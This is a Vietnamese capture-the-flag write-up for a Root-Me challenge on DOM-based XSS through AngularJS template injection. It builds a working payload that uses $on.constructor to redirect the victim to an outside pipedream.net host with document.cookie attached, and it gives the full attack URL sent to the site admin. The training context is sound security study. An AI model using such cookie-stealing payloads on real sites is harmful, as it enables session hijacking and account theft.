Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

XSS DOM Based - Angular

Thử submit giá vị vào input, ta xem được script mà website handle:

Mất khá nhiều thời gian để tránh filter và hiểu code. Có vẻ không thể attack bằng cách “hiểu” code được. Đề bài có tên là AngularJS, tra cứu cheatsheet XSS Angular, ta có thể tìm được payload: $on.constructor('alert(1)')()

Để khiến JS thực thi command, ta chèn {{ }} để triển khai expression:

{{$on.constructor('alert(1)')()}}

Tuy vậy, lúc chèn payload, website trả về:

Thử thay ' " thì đã chèn thành công script:

Chỉnh sửa payload để thực thi DOM Based XSS attack. Ta sử dụng \" để thoát chuỗi "":

Payload: {{$on.constructor("document.location=\"https://eol9dtzbk9673pb.m.pipedream.net?cookie=\"+document.cookie")()}}

Payload đã chạy được. Giờ thì gửi payload đến admin qua Contact tab:

http://challenge01.root-me.org/web-client/ch35/?name={{$on.constructor("document.location=\"https://eol9dtzbk9673pb.m.pipedream.net?cookie=\"%20document.cookie")()}}

HTTP Request nhận về:

  • Flag: "****************************"